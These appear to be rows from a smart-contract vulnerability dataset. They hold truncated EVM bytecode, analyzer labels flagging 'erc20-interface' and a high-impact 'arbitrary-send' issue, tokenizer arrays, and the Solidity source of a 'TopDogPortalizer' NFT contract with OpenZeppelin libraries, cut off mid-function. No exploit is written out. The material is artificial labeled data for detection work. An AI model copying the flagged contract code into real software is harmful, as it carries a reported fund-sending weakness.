c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061048d575050151592915050565b600060208284031215610b3c578081fd5b8151610b4781610f64565b9392505050565b600080600060608486031215610b62578182fd5b8335610b6d81610f64565b92506020840135610b7d81610f64565b929592945050506040919091013590565b600080600080600060808688031215610ba5578081fd5b8535610bb081610f64565b94506020860135610bc081610f64565b935060408601359250606086013567ffffffffffffffff80821115610be3578283fd5b818801915088601f830112610bf6578283fd5b813581811115610c04578384fd5b896020828501011115610c15578384fd5b9699959850939650602001949392505050565b60008060008060808587031215610c3d578384fd5b8435610c4881610f64565b9350602085810135610c5981610f64565b935060408601359250606086013567ffffffffffffffff80821115610c7c578384fd5b818801915088601f830112610c8f578384fd5b813581811115610c9b57fe5b604051601f8201601f1916810185018381118282101715610cb857fe5b60405281815283820185018b1015610cce578586fd5b81858501868301379081019093019390935250939692955090935050565b600060208284031215610cfd578081fd5b81518015158114610b47578182fd5b600060208284031215610d1d578081fd5b5051919050565b60008151808452610d3c816020860160208601610f34565b601f01601f19169290920160200192915050565b6000815160a08452610d6560a0850182610d24565b6020848101516001600160a01b031690860152604080850151908601526060808501519086015260809384015193909401929092525090919050565b60008251610db3818460208701610f34565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0392909216825260ff16602082015260400190565b6001600160a01b03929092168252602082015260400190565b600060408252610e196040830185610d24565b90508260208301529392505050565b600060208252610b476020830184610d24565b60208082526014908201527336b9b39739b2b73232b9103737ba1037bbb732b960611b604082015260600190565b60208082526014908201527336b9b39739b2b73232b9103737ba1030b236b4b760611b604082015260600190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b600060208252610b476020830184610d50565b90815260200190565b60005b83811015610f4f578181015183820152602001610f37565b83811115610f5e576000848401525b50505050565b6001600160a01b038116811461097457600080fdfea2646970667358221220de9fcc0ae718ba37d0cfab3ba6061ed47963c0146d2b348fa4437b82487bb34064736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2620, 2094, 2549, 2546, 2575, 21619, 21486, 2278, 2581, 29097, 2546, 2692, 21472, 16068, 17134, 2683, 18827, 24594, 2620, 2497, 10790, 2475, 2497, 22610, 2692, 2683, 2063, 2620, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1027, 1014, 1012, 1021, 1012, 1020, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 4425, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 1035, 3954, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1025, 3853, 4651, 1006, 4769, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 6327, 5651, 1006, 22017, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,316
0x968E955D6768f4265d6F69a3B98dBCB62cA2897d
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ITopDogBeachClub.sol"; import "./ISNAXToken.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; /** * @title TCBC contract v1 * @author @darkp0rt */ contract TopDogPortalizer is ERC721Enumerable, IERC721Receiver, Ownable, ReentrancyGuard { enum WhitelistedPortalizerStatus { Invalid, Unclaimed, Claimed } struct PortalizedDog { address portalizer; uint256 datePortalized; bool isSet; } uint256 private constant MAX_BURN = 500; uint256 private constant PREREG_MAX_BURN = 1; uint256 private constant PUBLIC_MAX_BURN = 3; string private _baseTokenURI; address private _tdbcAddress; address private _snaxAddress; bool private _publicPortalizationIsOpen = false; bool private _preRegPortalizationPeriodIsOpen = false; mapping (uint256 => PortalizedDog) private _doggosInPortal; mapping (address => uint256) private _walletPortalizationReservedSNAX; mapping (address => WhitelistedPortalizerStatus) private _whitelistedPortalizers; event DogPortalized(uint256 dogId); constructor ( string memory name, string memory symbol, string memory baseTokenURI, address tdbcAddress, address snaxAddress) ERC721(name, symbol) { _baseTokenURI = baseTokenURI; _tdbcAddress = tdbcAddress; _snaxAddress = snaxAddress; } function togglePublicPortalizationPeriod() external onlyOwner { require(_preRegPortalizationPeriodIsOpen, "Pre-reggers first"); _publicPortalizationIsOpen = !_publicPortalizationIsOpen; } function togglePreRegPortalizationPeriod() external onlyOwner { _preRegPortalizationPeriodIsOpen = !_preRegPortalizationPeriodIsOpen; } function publicPortalizationPeriodIsOpen() external view returns (bool status) { return _publicPortalizationIsOpen; } function preRegPortalizationPeriodIsOpen() external view returns (bool status) { return _preRegPortalizationPeriodIsOpen; } function setBaseTokenURI(string memory baseTokenURI) external onlyOwner { _baseTokenURI = baseTokenURI; } function addWhitelistedPortalizers(address[] memory whitelistedPortalizers) external onlyOwner { for (uint256 i = 0; i < whitelistedPortalizers.length; i++) { _whitelistedPortalizers[whitelistedPortalizers[i]] = WhitelistedPortalizerStatus.Unclaimed; } } function preRegPortalize(uint256[] memory doggos) external nonReentrant() { require(_preRegPortalizationPeriodIsOpen, "Portal is not open yet"); require((totalSupply() + doggos.length) <= MAX_BURN, "Portal is full"); require(_whitelistedPortalizers[msg.sender] != WhitelistedPortalizerStatus.Claimed, "You've already portalized doggos"); require(_whitelistedPortalizers[msg.sender] == WhitelistedPortalizerStatus.Unclaimed, "You are not whitelisted. Wait for public portalization."); require((balanceOf(msg.sender) + doggos.length) <= PREREG_MAX_BURN, "You can't portalize that many dogs"); _portalizeDoggos(doggos); _whitelistedPortalizers[msg.sender] = WhitelistedPortalizerStatus.Claimed; } function publicPortalize(uint256[] memory doggos) external nonReentrant() { require(_publicPortalizationIsOpen, "Portal is not open yet"); require((totalSupply() + doggos.length) <= MAX_BURN, "Portal is full"); require((balanceOf(msg.sender) + doggos.length) <= (PREREG_MAX_BURN + PUBLIC_MAX_BURN), "You can't portalize that many dogs"); _portalizeDoggos(doggos); } // called by the minting code if the dog tag mints a cat that can't be upgraded // ultra rare chance of this happening function returnGoodBoy(uint256 doggoId) external onlyOwner { require(_doggosInPortal[doggoId].isSet, "Dog has not been portalized"); address portalizer = _doggosInPortal[doggoId].portalizer; ITopDogBeachClub(_tdbcAddress).safeTransferFrom(address(this), portalizer, doggoId); delete _doggosInPortal[doggoId]; } // used to mint tags for Jayson and stolen doggos function unJoeify() external onlyOwner { _safeMint(0x03F58F0cc44Be4AbC68b2DF93C58514bb1196Dc3, 5500); _safeMint(0xAc05F9f58e873222CAE11661A29743371F6d1F6c, 3106); } function _portalizeDoggos(uint256[] memory doggos) private { for (uint256 i = 0; i < doggos.length; i++) { uint256 doggoId = doggos[i]; _portalizeDoggo(doggoId); } _reserveSNAXForDoggos(doggos); } // you evil bastards function _portalizeDoggo(uint256 doggoId) private { require(ITopDogBeachClub(_tdbcAddress).ownerOf(doggoId) == msg.sender, "You are not the owner of that doggo"); require(!_doggosInPortal[doggoId].isSet, "Dog has already been portalized"); ITopDogBeachClub(_tdbcAddress).safeTransferFrom(msg.sender, address(this), doggoId); // portal contract will hold doggo _doggosInPortal[doggoId] = PortalizedDog(msg.sender, block.timestamp, true); _safeMint(msg.sender, doggoId); } function _reserveSNAXForDoggos(uint256[] memory doggos) private { _walletPortalizationReservedSNAX[msg.sender] = ISNAXToken(_snaxAddress).totalAccumulated(doggos); } function getPortalizationDate(uint256 tokenId) external view returns (uint256) { return _doggosInPortal[tokenId].datePortalized; } function isDogPortalized(uint256 tokenId) external view returns (bool) { return _doggosInPortal[tokenId].isSet; } function snaxReserved(address wallet) external view returns (uint256) { return _walletPortalizationReservedSNAX[wallet]; } function isWhitelistedPortalizer(address wallet) external view returns (bool) { return _whitelistedPortalizers[wallet] != WhitelistedPortalizerStatus.Invalid; } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { return this.onERC721Received.selector; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override 